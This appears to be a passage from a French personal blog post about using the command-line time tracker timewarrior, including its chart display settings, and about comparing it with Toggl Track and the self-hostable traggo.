Le rĂ©sumĂ© texte est parfait pour pratiquer la saisie en fin de journĂ©e de ce qu’il reste Ă  renseigner. On peut toutefois avoir besoin d’un visuel diffĂ©rent. Par exemple, le rĂ©sumĂ© par dĂ©faut ne peux pas faire de statistiques sur tous les tags, il faut les saisir un par un. c’est lourd, fort heureusement, il existe un plugin qu’il faut activer pour pouvoir faire ces statistiques. la doc pour l’activer est assez claire, et voilĂ  ce que ça donne :

<à bidouiller à partir d’un rapport de tags du laptop pro>

Autre Ă©lĂ©ment un peu plus sympathique mais qui demande un peu de taf pour ĂȘtre rĂ©ellement exploitable, la possibilitĂ© d’afficher un graphe, Ă  savoir une vue « calendrier Â» des tĂąches, sur la journĂ©e, la semaine, le mois
 Le seul souci, c’est la vue par dĂ©faut :

On le voit, il prend de minuit Ă  minuit, deux lignes de caractĂšres pour une journĂ©e, et le nombre de caractĂšres par intervalle est aussi assez court. Ce coup-ci, il faut un peu d’huile de coude, et j’ai pas mal tĂątonnĂ© pour arriver Ă  un affichage intĂ©ressant. On peut commencer par tester des modifications directement en ligne de commande :

$ timew day rc.reports.day.lines=10 rc.reports.day.hours=auto rc.reports.day.cell=6

Une fois qu’on considĂšre avoir des rĂ©glages intĂ©ressants, on peut aller dans le fichier ~/.timewarrior/timewarrior.cfg pour graver les rĂ©glages dans le marbre, perso, j’ai ajoutĂ© les lignes suivantes :

reports.month.lines = 3
reports.month.cell = 6
reports.month.hours = auto

reports.week.lines = 4
reports.week.cell = 6
reports.week.hours = auto

reports.day.lines = 6
reports.day.cell = 6
reports.day.hours = auto

On voit qu’il faut indiquer les paramĂštres pour chaque type de graphe, je me suis limitĂ© Ă  ceux que j’utilise le plus, hours=auto permet de masquer les heures non travaillĂ©es, c’est pratique, ça Ă©largit d’emblĂ©e et permet d’élargir les cellules (6, ce qui permet d’avoir des tranches de 10 minutes), sur 6 lignes pour la journĂ©e. Les couleurs Ă©tant limitĂ©es (une mĂȘme couleur sera affectĂ©e aux tĂąches avec les mĂȘmes tags), ça permet de voir les tags.

Le mĂȘme avec une souris ?

Une interface graphique aura certainement plus de possibilitĂ©s d’organisation et de retouches. Perso j’ai plus vite fait d’appuyer sur F12 et de faire un start que d’ouvrir un onglet de navigateur sur mon outil, attendre qu’il dĂ©marre, et ajouter une nouvelle tĂąche. Mais bon
 Certains collĂšgues m’ont montrĂ© leur usage de l’outil Toggl Track, qui bien qu’hĂ©bergĂ© sur GCP a Ă©tĂ© dĂ©veloppĂ© et est opĂ©rĂ© par une sociĂ©tĂ© en Estonie. Il est possible de l’utiliser gratuitement, et pour ceux qui voudraient aller plus loin, les fonctionnalitĂ©s associĂ©es sont rĂ©servĂ©es Ă  un abonnement. Et pour les entreprises qui voudraient se baser fortement sur les outils de la sociĂ©tĂ©, lĂ , il est prĂ©fĂ©rable de les contacter directement.

La surprise de ne pas voir de sociĂ©tĂ© US directement sur le dĂ©veloppement de l’outil (seulement son hĂ©bergement), ne suffit pas Ă  m’empĂȘcher de dire qu’on a pas besoin d’une entreprise qui collecterait toutes ces donnĂ©es. Pour ça, il existe une autre solution, traggo. Open-source, auto-hĂ©bergeable, c’est vraiment un clone trĂšs proche de Toggl. Il est Ă©crit en Go, l’installation est donc diablement simple, et la doc montre un dĂ©ploiement docker trĂšs rapide aussi, il y a des chances qu’il fasse un tour sur mon cluster k3s pour vĂ©rifier s’il peut m’apporter plus (les fonctions de reporting sont naturellement bien plus avancĂ©es que pour timewarrior).

Et vous, vous utilisez quoi ?

J’ai fini par trouver un rythme de croisiĂšre et un confort d’usage au bout de deux semaines avec timewarrior. Sa simplicitĂ© relative fait qu’on prend trĂšs vite le pli sur des opĂ©rations simples, la doc manque parfois de clartĂ© dans le formatage des options pour des cas poussĂ©s, mais on s’en sort finalement assez facilement. J’ai mĂȘme commencĂ© Ă  m’en servir Ă  titre perso, par exemple pour mesurer le temps que je passe en Ă©criture sur le blog. Bon la rigolade, c’est que j’ai zappĂ© de me mesurer pour cet article, mais ça peut ĂȘtre intĂ©ressant quand mĂȘme, pareil pour les opĂ©rations de maintenance des serveurs.

Et vous, vous utilisez quoi pour mesurer le temps passé au boulot ?

  •